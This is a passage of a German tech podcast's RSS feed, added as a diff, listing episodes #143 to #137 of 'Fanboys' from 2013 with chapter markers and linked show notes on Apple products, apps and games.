href="https://itunes.apple.com/us/app/xcom-enemy-unknown/id639544885" target="_blank">Xcom Nachtrag</td></tr><tr><td>01:00:02</td><td><a href="http://www.youtube.com/watch?v=LTq8TrA3hb4" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:34" title="iPad Mini Retina" href="http://www.eddale.co/general/smart-move-apple" />
+ <sc:chapter start="00:07:36" title="AppleTV doch erst mal nicht" href="http://www.displaysearchblog.com/2013/11/apples-long-rumored-tv-ambitions-on-hold-again/" />
+ <sc:chapter start="00:11:19" title="Youtube-Google-Plus-Verplombung" href="http://vihart.com/google-youtube-integration-kind-of-like-twilight-except-in-this-version-when-cullen-drinks-bellatubes-blood-they-both-become-mortal-but-cullen-is-still-an-abusive-creep-also-it-is-still-bad/" />
+ <sc:chapter start="00:16:57" title="Byebye Daumen" href="http://www.chip.de/news/Facebook-Der-Like-Button-verliert-den-Daumen_65302449.html" />
+ <sc:chapter start="00:19:40" title="Facebook Messenger jetzt WhatsUp Ersatz" href="http://techcrunch.com/2013/11/13/facebook-phone-number-messenger/" />
+ <sc:chapter start="00:29:20" title="2 Dreams Postmortem" href="http://www.137b.org/?p=2954" />
+ <sc:chapter start="00:33:46" title="HackPad" href="https://hackpad.com" />
+ <sc:chapter start="00:36:14" title="BitTorrent sync für iOS" href="https://itunes.apple.com/de/app/bittorrent-sync/id665156116?l=en&amp;mt=8" />
+ <sc:chapter start="00:39:15" title="Obduction ist gefundet" href="http://www.kickstarter.com/projects/cyaninc/obduction" />
+ <sc:chapter start="00:44:26" title="Symmetrain" href="https://itunes.apple.com/de/app/symmetrain/id725274537?mt=8" />
+ <sc:chapter start="00:46:17" title="Walking Dead" href="https://itunes.apple.com/de/app/walking-dead-the-game/id524731580?l=en&amp;mt=8" />
+ <sc:chapter start="00:53:30" title="Oceanhorn" href="https://itunes.apple.com/nz/app/oceanhorn/id708196645?mt=8" />
+ <sc:chapter start="00:56:32" title="Xcom Nachtrag" href="https://itunes.apple.com/us/app/xcom-enemy-unknown/id639544885" />
+ <sc:chapter start="01:00:02" title="Rausschmeisser" href="http://www.youtube.com/watch?v=LTq8TrA3hb4" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23143&amp;user_id=map&amp;title=Fanboys%20Episode%20143&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#143:" />
+ </item>
+ <item>
+ <title>Episode #142 - Menschliche Penisfilter</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Menschliche Penisfilter</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN142.mp3" length="38466980" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN142</guid>
+ <pubDate>Thu, 07 Nov 2013 18:57:44 +0100</pubDate>
+ <itunes:duration>01:23:35</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:04:42 iPad Air
+00:20:02 Nintendo schaltet Swap Notes ab
+00:21:34 Pebble iOS 7 Notifcations
+00:24:37 Garage Band 10
+00:32:38 Podcasts und Kapitelmarken
+00:41:28 Beyond Two Souls
+00:47:07 Free 2 Play
+00:50:45 iMessage iOS 7 Tipp
+00:58:15 Hatching Twitter
+01:02:28 The Stanley Parable
+01:06:36 Knock
+01:11:04 MegaCity
+01:12:37 Wacom Intuos Creative Stylus
+01:20:15 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:04:42</td><td>iPad Air</td></tr><tr><td>00:20:02</td><td><a href="http://games.yahoo.com/blogs/plugged-in/nintendo-suspends-3ds-swapnote-messaging-over-offensive-material-183202815.html" target="_blank">Nintendo schaltet Swap Notes ab</td></tr><tr><td>00:21:34</td><td><a href="http://appleinsider.com/articles/13/11/06/pebble-announces-ios-7-notification-support-new-partnerships-with-yelp-foursquare" target="_blank">Pebble iOS 7 Notifcations</td></tr><tr><td>00:24:37</td><td>Garage Band 10</td></tr><tr><td>00:32:38</td><td>Podcasts und Kapitelmarken</td></tr><tr><td>00:41:28</td><td><a href="http://playersdelight.blogspot.de/2013/10/beyond-two-souls-most-unique-feature-is.html?showComment=1383699429935" target="_blank">Beyond Two Souls</td></tr><tr><td>00:47:07</td><td><a href="http://www.youtube.com/watch?v=AxFzf6yIfcc#t=379" target="_blank">Free 2 Play</td></tr><tr><td>00:50:45</td><td>iMessage iOS 7 Tipp</td></tr><tr><td>00:58:15</td><td><a href="http://www.wired.com/gadgetlab/2013/11/hatching-twitter/" target="_blank">Hatching Twitter</td></tr><tr><td>01:02:28</td><td>The Stanley Parable</td></tr><tr><td>01:06:36</td><td><a href="http://www.knocktounlock.com" target="_blank">Knock</td></tr><tr><td>01:11:04</td><td><a href="https://itunes.apple.com/de/app/megacity-hd/id452535701?mt=8" target="_blank">MegaCity</td></tr><tr><td>01:12:37</td><td><a href="http://intuoscreativestylus.wacom.com/de/" target="_blank">Wacom Intuos Creative Stylus</td></tr><tr><td>01:20:15</td><td><a href="http://www.youtube.com/watch?v=EfDfdyBldz0" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:04:42" title="iPad Air" />
+ <sc:chapter start="00:20:02" title="Nintendo schaltet Swap Notes ab" href="http://games.yahoo.com/blogs/plugged-in/nintendo-suspends-3ds-swapnote-messaging-over-offensive-material-183202815.html" />
+ <sc:chapter start="00:21:34" title="Pebble iOS 7 Notifcations" href="http://appleinsider.com/articles/13/11/06/pebble-announces-ios-7-notification-support-new-partnerships-with-yelp-foursquare" />
+ <sc:chapter start="00:24:37" title="Garage Band 10" />
+ <sc:chapter start="00:32:38" title="Podcasts und Kapitelmarken" />
+ <sc:chapter start="00:41:28" title="Beyond Two Souls" href="http://playersdelight.blogspot.de/2013/10/beyond-two-souls-most-unique-feature-is.html?showComment=1383699429935" />
+ <sc:chapter start="00:47:07" title="Free 2 Play" href="http://www.youtube.com/watch?v=AxFzf6yIfcc#t=379" />
+ <sc:chapter start="00:50:45" title="iMessage iOS 7 Tipp" />
+ <sc:chapter start="00:58:15" title="Hatching Twitter" href="http://www.wired.com/gadgetlab/2013/11/hatching-twitter/" />
+ <sc:chapter start="01:02:28" title="The Stanley Parable" />
+ <sc:chapter start="01:06:36" title="Knock" href="http://www.knocktounlock.com" />
+ <sc:chapter start="01:11:04" title="MegaCity" href="https://itunes.apple.com/de/app/megacity-hd/id452535701?mt=8" />
+ <sc:chapter start="01:12:37" title="Wacom Intuos Creative Stylus" href="http://intuoscreativestylus.wacom.com/de/" />
+ <sc:chapter start="01:20:15" title="Rausschmeisser" href="http://www.youtube.com/watch?v=EfDfdyBldz0" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23142&amp;user_id=map&amp;title=Fanboys%20Episode%20142&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#142:" />
+ </item>
+ <item>
+ <title>Episode #141 - Asterix bei den Banausen</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Asterix bei den Banausen</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN141.mp3" length="33843267" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN141</guid>
+ <pubDate>Wed, 30 Oct 2013 17:53:29 +0100</pubDate>
+ <itunes:duration>01:14:13</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:06:12 iMovie-Praxisbericht
+00:23:08 Ganz schlechte Mac Pro Werbetexte
+00:29:17 Mavericks kann Thunderbolt IP
+00:32:33 Apple Quartalszahlen
+00:34:22 Intel baut jetzt ARM
+00:36:34 Bittorrent Sync
+00:41:30 Tweetbot 3
+00:46:50 Pivvot
+00:49:17 Fantastical
+00:54:53 arte App
+00:55:51 Asterix bei den Pikten
+01:00:32 Wunder muss man selber machen
+01:02:15 Dumb Ways to Die
+01:04:18 Hearthstone Beta
+01:13:04 Rausschmeisser
+01:13:07 Aus
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:06:12</td><td>iMovie-Praxisbericht</td></tr><tr><td>00:23:08</td><td><a href="http://www.flickr.com/photos/jeffcarlson/10542417976/" target="_blank">Ganz schlechte Mac Pro Werbetexte</td></tr><tr><td>00:29:17</td><td><a href="http://arstechnica.com/apple/2013/10/os-x-10-9-brings-fast-but-choppy-thunderbolt-networking/" target="_blank">Mavericks kann Thunderbolt IP</td></tr><tr><td>00:32:33</td><td><a href="http://www.apple.com/pr/library/2013/10/28Apple-Reports-Fourth-Quarter-Results.html" target="_blank">Apple Quartalszahlen</td></tr><tr><td>00:34:22</td><td><a href="http://appleinsider.com/articles/13/10/30/intel-to-start-manufacturing-third-party-arm-chips-in-2014" target="_blank">Intel baut jetzt ARM</td></tr><tr><td>00:36:34</td><td><a href="http://labs.bittorrent.com/experiments/sync.html" target="_blank">Bittorrent Sync</td></tr><tr><td>00:41:30</td><td><a href="https://itunes.apple.com/de/app/tweetbot-3-for-twitter-iphone/id722294701?l=en&amp;mt=8" target="_blank">Tweetbot 3</td></tr><tr><td>00:46:50</td><td><a href="https://itunes.apple.com/us/app/pivvot/id664416929" target="_blank">Pivvot</td></tr><tr><td>00:49:17</td><td><a href="http://flexibits.com/fantastical-iphone" target="_blank">Fantastical</td></tr><tr><td>00:54:53</td><td><a href="https://itunes.apple.com/de/app/arte/id405028510" target="_blank">arte App</td></tr><tr><td>00:55:51</td><td><a href="https://itunes.apple.com/de/book/asterix-35-asterix-bei-den/id726907070?mt=11" target="_blank">Asterix bei den Pikten</td></tr><tr><td>01:00:32</td><td><a href="http://www.droemer-knaur.de/buch/7790072/wunder-muss-man-selber-machen" target="_blank">Wunder muss man selber machen</td></tr><tr><td>01:02:15</td><td><a href="http://dumbwaystodie.com" target="_blank">Dumb Ways to Die</td></tr><tr><td>01:04:18</td><td><a href="http://eu.battle.net/hearthstone/de/" target="_blank">Hearthstone Beta</td></tr><tr><td>01:13:04</td><td><a href="http://www.youtube.com/watch?v=PfrsvfcZ8ZE" target="_blank">Rausschmeisser</td></tr><tr><td>01:13:07</td><td>Aus</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:06:12" title="iMovie-Praxisbericht" />
+ <sc:chapter start="00:23:08" title="Ganz schlechte Mac Pro Werbetexte" href="http://www.flickr.com/photos/jeffcarlson/10542417976/" />
+ <sc:chapter start="00:29:17" title="Mavericks kann Thunderbolt IP" href="http://arstechnica.com/apple/2013/10/os-x-10-9-brings-fast-but-choppy-thunderbolt-networking/" />
+ <sc:chapter start="00:32:33" title="Apple Quartalszahlen" href="http://www.apple.com/pr/library/2013/10/28Apple-Reports-Fourth-Quarter-Results.html" />
+ <sc:chapter start="00:34:22" title="Intel baut jetzt ARM" href="http://appleinsider.com/articles/13/10/30/intel-to-start-manufacturing-third-party-arm-chips-in-2014" />
+ <sc:chapter start="00:36:34" title="Bittorrent Sync" href="http://labs.bittorrent.com/experiments/sync.html" />
+ <sc:chapter start="00:41:30" title="Tweetbot 3" href="https://itunes.apple.com/de/app/tweetbot-3-for-twitter-iphone/id722294701?l=en&amp;mt=8" />
+ <sc:chapter start="00:46:50" title="Pivvot" href="https://itunes.apple.com/us/app/pivvot/id664416929" />
+ <sc:chapter start="00:49:17" title="Fantastical" href="http://flexibits.com/fantastical-iphone" />
+ <sc:chapter start="00:54:53" title="arte App" href="https://itunes.apple.com/de/app/arte/id405028510" />
+ <sc:chapter start="00:55:51" title="Asterix bei den Pikten" href="https://itunes.apple.com/de/book/asterix-35-asterix-bei-den/id726907070?mt=11" />
+ <sc:chapter start="01:00:32" title="Wunder muss man selber machen" href="http://www.droemer-knaur.de/buch/7790072/wunder-muss-man-selber-machen" />
+ <sc:chapter start="01:02:15" title="Dumb Ways to Die" href="http://dumbwaystodie.com" />
+ <sc:chapter start="01:04:18" title="Hearthstone Beta" href="http://eu.battle.net/hearthstone/de/" />
+ <sc:chapter start="01:13:04" title="Rausschmeisser" href="http://www.youtube.com/watch?v=PfrsvfcZ8ZE" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23141&amp;user_id=map&amp;title=Fanboys%20Episode%20141&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#141:" />
+ </item>
+ <item>
+ <title>Episode #140 - Umsonst</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Umsonst</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN140.mp3" length="46669279" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN140</guid>
+ <pubDate>Wed, 23 Oct 2013 19:22:01 +0200</pubDate>
+ <itunes:duration>01:38:51</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:23 Sea Lion
+00:06:49 Macbooks
+00:09:32 Mac Pro
+00:14:32 iWork
+00:35:02 iLife
+00:43:01 iPad Air
+00:48:55 iPad mini
+00:56:56 iOS 7.0.3 mit Keychain Sync
+01:01:45 Podcasts und iTunes Update
+01:04:27 Maver-Tricks
+01:06:01 iOS-Tricks
+01:06:44 2 Dreams
+01:11:05 Beyond: Two Souls
+01:35:56 Kickstarter: Obduction
+01:37:38 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:23</td><td>Sea Lion</td></tr><tr><td>00:06:49</td><td>Macbooks</td></tr><tr><td>00:09:32</td><td>Mac Pro</td></tr><tr><td>00:14:32</td><td>iWork</td></tr><tr><td>00:35:02</td><td>iLife</td></tr><tr><td>00:43:01</td><td>iPad Air</td></tr><tr><td>00:48:55</td><td>iPad mini</td></tr><tr><td>00:56:56</td><td>iOS 7.0.3 mit Keychain Sync</td></tr><tr><td>01:01:45</td><td>Podcasts und iTunes Update</td></tr><tr><td>01:04:27</td><td>Maver-Tricks</td></tr><tr><td>01:06:01</td><td><a href="http://www.reddit.com/r/apple/comments/1oy0zh/less_obvious_features_in_ios7_or_ios_in_general/" target="_blank">iOS-Tricks</td></tr><tr><td>01:06:44</td><td><a href="https://itunes.apple.com/us/app/2-dreams/id721125726?mt=8" target="_blank">2 Dreams</td></tr><tr><td>01:11:05</td><td><a href="http://en.wikipedia.org/wiki/Beyond:_Two_Souls" target="_blank">Beyond: Two Souls</td></tr><tr><td>01:35:56</td><td><a href="http://www.kickstarter.com/projects/cyaninc/obduction" target="_blank">Kickstarter: Obduction</td></tr><tr><td>01:37:38</td><td><a href="http://www.youtube.com/watch?v=eU97SKDX3os" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:23" title="Sea Lion" />
+ <sc:chapter start="00:06:49" title="Macbooks" />
+ <sc:chapter start="00:09:32" title="Mac Pro" />
+ <sc:chapter start="00:14:32" title="iWork" />
+ <sc:chapter start="00:35:02" title="iLife" />
+ <sc:chapter start="00:43:01" title="iPad Air" />
+ <sc:chapter start="00:48:55" title="iPad mini" />
+ <sc:chapter start="00:56:56" title="iOS 7.0.3 mit Keychain Sync" />
+ <sc:chapter start="01:01:45" title="Podcasts und iTunes Update" />
+ <sc:chapter start="01:04:27" title="Maver-Tricks" />
+ <sc:chapter start="01:06:01" title="iOS-Tricks" href="http://www.reddit.com/r/apple/comments/1oy0zh/less_obvious_features_in_ios7_or_ios_in_general/" />
+ <sc:chapter start="01:06:44" title="2 Dreams" href="https://itunes.apple.com/us/app/2-dreams/id721125726?mt=8" />
+ <sc:chapter start="01:11:05" title="Beyond: Two Souls" href="http://en.wikipedia.org/wiki/Beyond:_Two_Souls" />
+ <sc:chapter start="01:35:56" title="Kickstarter: Obduction" href="http://www.kickstarter.com/projects/cyaninc/obduction" />
+ <sc:chapter start="01:37:38" title="Rausschmeisser" href="http://www.youtube.com/watch?v=eU97SKDX3os" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23140&amp;user_id=map&amp;title=Fanboys%20Episode%20140&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#140:" />
+ </item>
+ <item>
+ <title>Episode #139 - Hose in distress</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Hose in distress</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN139.mp3" length="28861556" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN139</guid>
+ <pubDate>Wed, 16 Oct 2013 18:32:10 +0200</pubDate>
+ <itunes:duration>01:02:48</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:02:48 iPad Event am 22.10.
+00:11:17 Sea Lion
+00:20:15 Neue Retail Chefin
+00:22:34 Twitter DMs von allen
+00:25:41 Bluescreen of iOS
+00:27:39 Apple gibt iTunes Credits für iWork
+00:29:31 iOS7 Tips & Tricks
+00:35:28 Air Video HD
+00:40:26 Mass Effect 3
+00:46:48 Boson X
+00:50:52 Trouserheart
+00:53:13 Kami
+00:56:24 Marcel Träumt
+00:58:23 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:02:48</td><td><a href="http://techcrunch.com/2013/10/15/apple-ipad-mac-event-oct-22/" target="_blank">iPad Event am 22.10.</td></tr><tr><td>00:11:17</td><td>Sea Lion</td></tr><tr><td>00:20:15</td><td><a href="http://www.apple.com/pr/library/2013/10/15Angela-Ahrendts-to-Join-Apple-as-Senior-Vice-President-of-Retail-and-Online-Stores.html" target="_blank">Neue Retail Chefin</td></tr><tr><td>00:22:34</td><td><a href="http://techcrunch.com/2013/10/15/twitter-direct-messages-all-followers/" target="_blank">Twitter DMs von allen</td></tr><tr><td>00:25:41</td><td>Bluescreen of iOS</td></tr><tr><td>00:27:39</td><td><a href="http://www.tuaw.com/2013/10/12/apple-offering-itunes-credits-to-eligible-ios-users-who-purchase/" target="_blank">Apple gibt iTunes Credits für iWork</td></tr><tr><td>00:29:31</td><td>iOS7 Tips & Tricks</td></tr><tr><td>00:35:28</td><td><a href="http://inmethod.com/airvideohd/" target="_blank">Air Video HD</td></tr><tr><td>00:40:26</td><td><a href="http://en.wikipedia.org/wiki/Mass_Effect_3" target="_blank">Mass Effect 3</td></tr><tr><td>00:46:48</td><td><a href="https://itunes.apple.com/us/app/boson-x/id660600531" target="_blank">Boson X</td></tr><tr><td>00:50:52</td><td><a href="https://itunes.apple.com/de/app/trouserheart/id685301907?l=en&amp;mt=8" target="_blank">Trouserheart</td></tr><tr><td>00:53:13</td><td><a href="https://itunes.apple.com/us/app/kami/id710724007?mt=8" target="_blank">Kami</td></tr><tr><td>00:56:24</td><td><a href="https://itunes.apple.com/de/app/2-dreams/id721125726?l=en&amp;mt=8" target="_blank">Marcel Träumt</td></tr><tr><td>00:58:23</td><td><a href="http://www.youtube.com/watch?v=pHU67s5tOSA" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:02:48" title="iPad Event am 22.10." href="http://techcrunch.com/2013/10/15/apple-ipad-mac-event-oct-22/" />
+ <sc:chapter start="00:11:17" title="Sea Lion" />
+ <sc:chapter start="00:20:15" title="Neue Retail Chefin" href="http://www.apple.com/pr/library/2013/10/15Angela-Ahrendts-to-Join-Apple-as-Senior-Vice-President-of-Retail-and-Online-Stores.html" />
+ <sc:chapter start="00:22:34" title="Twitter DMs von allen" href="http://techcrunch.com/2013/10/15/twitter-direct-messages-all-followers/" />
+ <sc:chapter start="00:25:41" title="Bluescreen of iOS" />
+ <sc:chapter start="00:27:39" title="Apple gibt iTunes Credits für iWork" href="http://www.tuaw.com/2013/10/12/apple-offering-itunes-credits-to-eligible-ios-users-who-purchase/" />
+ <sc:chapter start="00:29:31" title="iOS7 Tips &amp; Tricks" />
+ <sc:chapter start="00:35:28" title="Air Video HD" href="http://inmethod.com/airvideohd/" />
+ <sc:chapter start="00:40:26" title="Mass Effect 3" href="http://en.wikipedia.org/wiki/Mass_Effect_3" />
+ <sc:chapter start="00:46:48" title="Boson X" href="https://itunes.apple.com/us/app/boson-x/id660600531" />
+ <sc:chapter start="00:50:52" title="Trouserheart" href="https://itunes.apple.com/de/app/trouserheart/id685301907?l=en&amp;mt=8" />
+ <sc:chapter start="00:53:13" title="Kami" href="https://itunes.apple.com/us/app/kami/id710724007?mt=8" />
+ <sc:chapter start="00:56:24" title="Marcel Träumt" href="https://itunes.apple.com/de/app/2-dreams/id721125726?l=en&amp;mt=8" />
+ <sc:chapter start="00:58:23" title="Rausschmeisser" href="http://www.youtube.com/watch?v=pHU67s5tOSA" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23139&amp;user_id=map&amp;title=Fanboys%20Episode%20139&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#139:" />
+ </item>
+ <item>
+ <title>Episode #138 - Instanbul (Not Portlandinopel)</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Instanbul (Not Portlandinopel)</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN138.mp3" length="34835800" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN138</guid>
+ <pubDate>Tue, 08 Oct 2013 17:49:41 +0200</pubDate>
+ <itunes:duration>01:17:22</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:03:12 Finger reicht beim Reboot nicht aus
+00:04:32 Istanbul
+00:08:03 Portland
+00:13:55 Bundestagswahl
+00:29:54 iPhone Fingersperre gehackt
+00:32:55 iCloud Account gehijackt (mit fake finger)
+00:50:07 iOS7
+01:03:52 Adobe Sicherheitslücke
+01:04:35 Ouya reagiert
+01:06:06 YouTube und Soundcloud mit Play-Symbol im Browser
+01:09:05 FEZ
+01:10:20 The Nightjar
+01:11:29 Strata
+01:14:05 Nayas Quest
+01:17:01 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:03:12</td><td><a href="http://www.iphoneblog.de/2013/09/11/der-touch-id-fallback/" target="_blank">Finger reicht beim Reboot nicht aus</td></tr><tr><td>00:04:32</td><td>Istanbul</td></tr><tr><td>00:08:03</td><td>Portland</td></tr><tr><td>00:13:55</td><td><a href="http://www.bundeswahlleiter.de/de/bundestagswahlen/BTW_BUND_13/ergebnisse/" target="_blank">Bundestagswahl</td></tr><tr><td>00:29:54</td><td><a href="http://www.zeit.de/digital/datenschutz/2013-09/touchid-apple-gehackt" target="_blank">iPhone Fingersperre gehackt</td></tr><tr><td>00:32:55</td><td><a href="http://www.iphoneblog.de/2013/10/04/sicherheitsexperten-demonstrieren-ios-schwachstellen/" target="_blank">iCloud Account gehijackt (mit fake finger)</td></tr><tr><td>00:50:07</td><td>iOS7</td></tr><tr><td>01:03:52</td><td><a href="http://www.spiegel.de/netzwelt/web/adobe-kriminelle-erlangen-kreditkartendaten-und-quellcode-a-926039.html" target="_blank">Adobe Sicherheitslücke</td></tr><tr><td>01:04:35</td><td><a href="http://indiegames.com/2013/09/ouyas_free_the_games_debacle_c.html" target="_blank">Ouya reagiert</td></tr><tr><td>01:06:06</td><td>YouTube und Soundcloud mit Play-Symbol im Browser</td></tr><tr><td>01:09:05</td><td><a href="http://fezgame.com" target="_blank">FEZ</td></tr><tr><td>01:10:20</td><td><a href="https://itunes.apple.com/de/app/the-nightjar/id431598741?mt=8" target="_blank">The Nightjar</td></tr><tr><td>01:11:29</td><td><a href="https://itunes.apple.com/us/app/strata/id641702337?mt=8" target="_blank">Strata</td></tr><tr><td>01:14:05</td><td><a href="http://distractionware.com/blog/2013/09/nayas-quest/" target="_blank">Nayas Quest</td></tr><tr><td>01:17:01</td><td><a href="http://www.youtube.com/watch?v=nzL7Pbis4ds" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:03:12" title="Finger reicht beim Reboot nicht aus" href="http://www.iphoneblog.de/2013/09/11/der-touch-id-fallback/" />
+ <sc:chapter start="00:04:32" title="Istanbul" />
+ <sc:chapter start="00:08:03" title="Portland" />
+ <sc:chapter start="00:13:55" title="Bundestagswahl" href="http://www.bundeswahlleiter.de/de/bundestagswahlen/BTW_BUND_13/ergebnisse/" />
+ <sc:chapter start="00:29:54" title="iPhone Fingersperre gehackt" href="http://www.zeit.de/digital/datenschutz/2013-09/touchid-apple-gehackt" />
+ <sc:chapter start="00:32:55" title="iCloud Account gehijackt (mit fake finger)" href="http://www.iphoneblog.de/2013/10/04/sicherheitsexperten-demonstrieren-ios-schwachstellen/" />
+ <sc:chapter start="00:50:07" title="iOS7" />
+ <sc:chapter start="01:03:52" title="Adobe Sicherheitslücke" href="http://www.spiegel.de/netzwelt/web/adobe-kriminelle-erlangen-kreditkartendaten-und-quellcode-a-926039.html" />
+ <sc:chapter start="01:04:35" title="Ouya reagiert" href="http://indiegames.com/2013/09/ouyas_free_the_games_debacle_c.html" />
+ <sc:chapter start="01:06:06" title="YouTube und Soundcloud mit Play-Symbol im Browser" />
+ <sc:chapter start="01:09:05" title="FEZ" href="http://fezgame.com" />
+ <sc:chapter start="01:10:20" title="The Nightjar" href="https://itunes.apple.com/de/app/the-nightjar/id431598741?mt=8" />
+ <sc:chapter start="01:11:29" title="Strata" href="https://itunes.apple.com/us/app/strata/id641702337?mt=8" />
+ <sc:chapter start="01:14:05" title="Nayas Quest" href="http://distractionware.com/blog/2013/09/nayas-quest/" />
+ <sc:chapter start="01:17:01" title="Rausschmeisser" href="http://www.youtube.com/watch?v=nzL7Pbis4ds" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23138&amp;user_id=map&amp;title=Fanboys%20Episode%20138&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#138:" />
+ </item>
+ <item>
+ <title>Episode #137 - Zicke Zacke Hühnerkacke</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Zicke Zacke Hühnerkacke</itunes:subtitle>
+ <enclosure url="http://fanboys.fm/episodes/FAN137.mp3" length="55284387" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN137</guid>
+ <pubDate>Wed, 11 Sep 2013 18:02:23 +0200</pubDate>
+ <itunes:duration>01:56:15</itunes:duration>
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:10 Vorstellungsrunde
+00:03:31 Wie kam es dazu?
+00:05:46 Memospiel
+00:11:48 Animationen
+00:17:33 Menüführung
+00:19:42 Kindergarten Tests
+00:25:07 Der Pfeil
+00:30:52 Debug Kram
+00:34:51 Illustration
+00:40:21 Elternmodus
+00:41:13 Computerhuhn
+00:41:52 Künstliche Intelligenz
+00:47:37 Geführter Zugriff
+00:53:32 Credits
+00:59:01 Teil Zwei mit dem Zoch Verlag
+00:59:47 mit Klaus Zoch
+01:00:07 und Albrecht Werstein
+01:01:10 Wie kommt ihr dazu?
+01:10:16 Der Anfang des Zoch Verlag
+01:17:36 Was ist das tolle am Spielen?
+01:22:14 Computerspiele
+01:29:03 Unterschiede
+01:40:03 Regeln lesen
+01:48:09 Jubiläum
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
